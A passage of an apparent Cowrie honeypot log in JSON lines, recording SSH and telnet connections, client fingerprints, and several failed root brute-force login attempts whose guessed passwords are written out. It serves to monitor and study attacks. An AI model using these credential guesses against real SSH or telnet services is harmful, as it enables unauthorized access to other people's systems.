c","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:36.900810Z","src_ip":"103.166.103.173","session":"f9b2d4e3bf7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fishing","message":"login attempt [root/fishing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:37.840050Z","src_ip":"103.166.103.173","session":"f9b2d4e3bf7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:39.069669Z","src_ip":"103.166.103.173","session":"f9b2d4e3bf7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36856,"dst_ip":"10.17.0.5","dst_port":23,"session":"426e83b5efbf","protocol":"telnet","message":"New connection: 192.119.13.58:36856 (10.17.0.5:23) [session: 426e83b5efbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:42.051505Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60858,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe61565b86a3","protocol":"telnet","message":"New connection: 192.119.13.58:60858 (10.17.0.5:23) [session: fe61565b86a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:48.157064Z"}
{"eventid":"cowrie.session.closed","duration":33.428911209106445,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:50.860017Z","src_ip":"192.119.13.58","session":"bad56d91dd07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.36779046058655,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:51.727720Z","src_ip":"192.119.13.58","session":"cf2e75aa18e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47706151008606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:32:53.301222Z","src_ip":"192.119.13.58","session":"6e0488c06ea0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33426,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd11384f0e55","protocol":"telnet","message":"New connection: 192.119.13.58:33426 (10.17.0.5:23) [session: dd11384f0e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:02.467360Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":60120,"dst_ip":"10.17.0.5","dst_port":22,"session":"c17c1fe0b5fd","protocol":"ssh","message":"New connection: 59.126.224.134:60120 (10.17.0.5:22) [session: c17c1fe0b5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:05.148352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:05.153697Z","src_ip":"59.126.224.134","session":"c17c1fe0b5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:05.383717Z","src_ip":"59.126.224.134","session":"c17c1fe0b5fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz","message":"login attempt [root/qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:06.344877Z","src_ip":"59.126.224.134","session":"c17c1fe0b5fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48918,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ae24e6aa2d2","protocol":"telnet","message":"New connection: 192.119.13.58:48918 (10.17.0.5:23) [session: 1ae24e6aa2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:06.450780Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:07.556704Z","src_ip":"59.126.224.134","session":"c17c1fe0b5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.45523953437805,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:16.423057Z","src_ip":"192.119.13.58","session":"3f76f97b8382","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.62816548347473,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:21.679585Z","src_ip":"192.119.13.58","session":"426e83b5efbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60072,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e81fc1fcb1b","protocol":"ssh","message":"New connection: 80.94.92.184:60072 (10.17.0.5:22) [session: 5e81fc1fcb1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:22.899354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:23.134552Z","src_ip":"80.94.92.184","session":"5e81fc1fcb1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:23.138611Z","src_ip":"80.94.92.184","session":"5e81fc1fcb1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"Sol","message":"login attempt [sol/Sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:24.146936Z","src_ip":"80.94.92.184","session":"5e81fc1fcb1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:25.362067Z","src_ip":"80.94.92.184","session":"5e81fc1fcb1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.10401391983032,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:26.260974Z","src_ip":"192.119.13.58","session":"fe61565b86a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60018,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dbe12218c64","protocol":"telnet","message":"New connection: 192.119.13.58:60018 (10.17.0.5:23) [session: 0dbe12218c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:29.632323Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32922,"dst_ip":"10.17.0.5","dst_port":23,"session":"31e6a3a62de5","protocol":"telnet","message":"New connection: 192.119.13.58:32922 (10.17.0.5:23) [session: 31e6a3a62de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:36.799046Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":45070,"dst_ip":"10.17.0.5","dst_port":22,"session":"13755e37fe48","protocol":"ssh","message":"New connection: 87.251.79.125:45070 (10.17.0.5:22) [session: 13755e37fe48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:42.678115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:42.683678Z","src_ip":"87.251.79.125","session":"13755e37fe48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:42.756282Z","src_ip":"87.251.79.125","session":"13755e37fe48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snoopy","message":"login attempt [root/snoopy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:42.969535Z","src_ip":"87.251.79.125","session":"13755e37fe48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:44.044081Z","src_ip":"87.251.79.125","session":"13755e37fe48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.876230239868164,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:47.343490Z","src_ip":"192.119.13.58","session":"dd11384f0e55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.02513313293457,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:50.475786Z","src_ip":"192.119.13.58","session":"1ae24e6aa2d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37904,"dst_ip":"10.17.0.5","dst_port":23,"session":"40b592ec0355","protocol":"telnet","message":"New connection: 192.119.13.58:37904 (10.17.0.5:23) [session: 40b592ec0355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:33:59.777259Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49360,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae8431b173b3","protocol":"telnet","message":"New connection: 192.119.13.58:49360 (10.17.0.5:23) [session: ae8431b173b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:02.605500Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56706,"dst_ip":"10.17.0.5","dst_port":23,"session":"27258d65b244","protocol":"telnet","message":"New connection: 192.119.13.58:56706 (10.17.0.5:23) [session: 27258d65b244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:04.440605Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58906,"dst_ip":"10.17.0.5","dst_port":23,"session":"661c2ae54183","protocol":"telnet","message":"New connection: 192.119.13.58:58906 (10.17.0.5:23) [session: 661c2ae54183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:04.905282Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":59636,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7335eef3d22","protocol":"ssh","message":"New connection: 103.166.103.173:59636 (159.203.135.109:22) [session: b7335eef3d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:12.128336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:12.133270Z","src_ip":"103.166.103.173","session":"b7335eef3d22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:12.381044Z","src_ip":"103.166.103.173","session":"b7335eef3d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.393768548965454,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:13.025911Z","src_ip":"192.119.13.58","session":"0dbe12218c64","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"marco","message":"login attempt [root/marco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:13.406188Z","src_ip":"103.166.103.173","session":"b7335eef3d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:14.657164Z","src_ip":"103.166.103.173","session":"b7335eef3d22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47344,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7da5fdd2b0f","protocol":"telnet","message":"New connection: 192.119.13.58:47344 (10.17.0.5:23) [session: b7da5fdd2b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:15.814501Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53862,"dst_ip":"10.17.0.5","dst_port":23,"session":"b20bfe719736","protocol":"telnet","message":"New connection: 192.119.13.58:53862 (10.17.0.5:23) [session: b20bfe719736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:17.348429Z"}
{"eventid":"cowrie.session.closed","duration":46.45349860191345,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:23.252446Z","src_ip":"192.119.13.58","session":"31e6a3a62de5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54704,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb3540d41531","protocol":"telnet","message":"New connection: 192.119.13.58:54704 (10.17.0.5:23) [session: fb3540d41531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:31.323177Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60150,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb43beee03e6","protocol":"telnet","message":"New connection: 192.119.13.58:60150 (10.17.0.5:23) [session: fb43beee03e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:32.533601Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":35564,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d33747f2434","protocol":"ssh","message":"New connection: 103.98.149.87:35564 (10.17.0.5:22) [session: 7d33747f2434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:32.780386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:32.790982Z","src_ip":"103.98.149.87","session":"7d33747f2434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:33.037027Z","src_ip":"103.98.149.87","session":"7d33747f2434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13579","message":"login attempt [root/13579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:34.245265Z","src_ip":"103.98.149.87","session":"7d33747f2434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:35.473839Z","src_ip":"103.98.149.87","session":"7d33747f2434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.994142293930054,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:37.599539Z","src_ip":"192.119.13.58","session":"ae8431b173b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36710,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d7f9e165db1","protocol":"telnet","message":"New connection: 192.119.13.58:36710 (10.17.0.5:23) [session: 4d7f9e165db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:41.459441Z"}
{"eventid":"cowrie.session.closed","duration":42.37255597114563,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:42.149714Z","src_ip":"192.119.13.58","session":"40b592ec0355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44006,"dst_ip":"10.17.0.5","dst_port":23,"session":"39574536d073","protocol":"telnet","message":"New connection: 192.119.13.58:44006 (10.17.0.5:23) [session: 39574536d073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:49.191279Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":51798,"dst_ip":"10.17.0.5","dst_port":22,"session":"854df78b2c79","protocol":"ssh","message":"New connection: 62.133.62.83:51798 (10.17.0.5:22) [session: 854df78b2c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:52.381265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:34:52.387784Z","src_ip":"62.133.62.83","session":"854df78b2c79","protocol":"ssh"}
